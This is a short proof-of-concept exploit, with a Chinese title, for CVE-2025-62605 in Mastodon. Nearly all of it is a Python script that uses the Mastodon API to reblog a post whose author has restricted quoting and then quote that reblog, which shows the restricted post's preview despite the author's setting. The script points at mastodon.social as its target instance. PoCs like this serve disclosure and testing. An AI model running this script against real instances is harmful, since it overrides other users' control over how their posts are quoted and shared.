CVE-2025-62605 Mastodon引用控制绕过漏洞

# CVE-2025-62605 PoC - Mastodon Quote Control Bypass via Reblog # This PoC demonstrates how to bypass Mastodon's quote controls # by leveraging the reblog-then-quote technique. import requests MASTODON_INSTANCE = "https://mastodon.social" # Target instance ACCESS_TOKEN = "YOUR_ACCESS_TOKEN" # Attacker's access token TARGET_STATUS_ID = "TARGET_STATUS_ID" # Status with restricted quote controls headers = { "Authorization": f"Bearer {ACCESS_TOKEN}", "Content-Type": "application/json" } # Step 1: Reblog (re-share) the target status that has quote controls set # This creates a new reblog status owned by the attacker reblog_url = f"{MASTODON_INSTANCE}/api/v1/statuses/{TARGET_STATUS_ID}/reblog" reblog_response = requests.post(reblog_url, headers=headers) reblog_status = reblog_response.json() print(f"Reblogged status ID: {reblog_status['id']}") # Step 2: Quote the reblogged status (which is owned by the attacker) # The quote control check will pass because the attacker is quoting their own reblog # But the preview will show the original restricted post's content quote_url = f"{MASTODON_INSTANCE}/api/v1/statuses" quote_payload = { "status": "Check out this post!", "quoted_status_id": reblog_status['id'] # Quote the reblog, not the original } quote_response = requests.post(quote_url, headers=headers, json=quote_payload) print(f"Quote posted: {quote_response.json()}") # The resulting quote post will display the original restricted post's preview # with all affordances that should have been blocked by quote controls.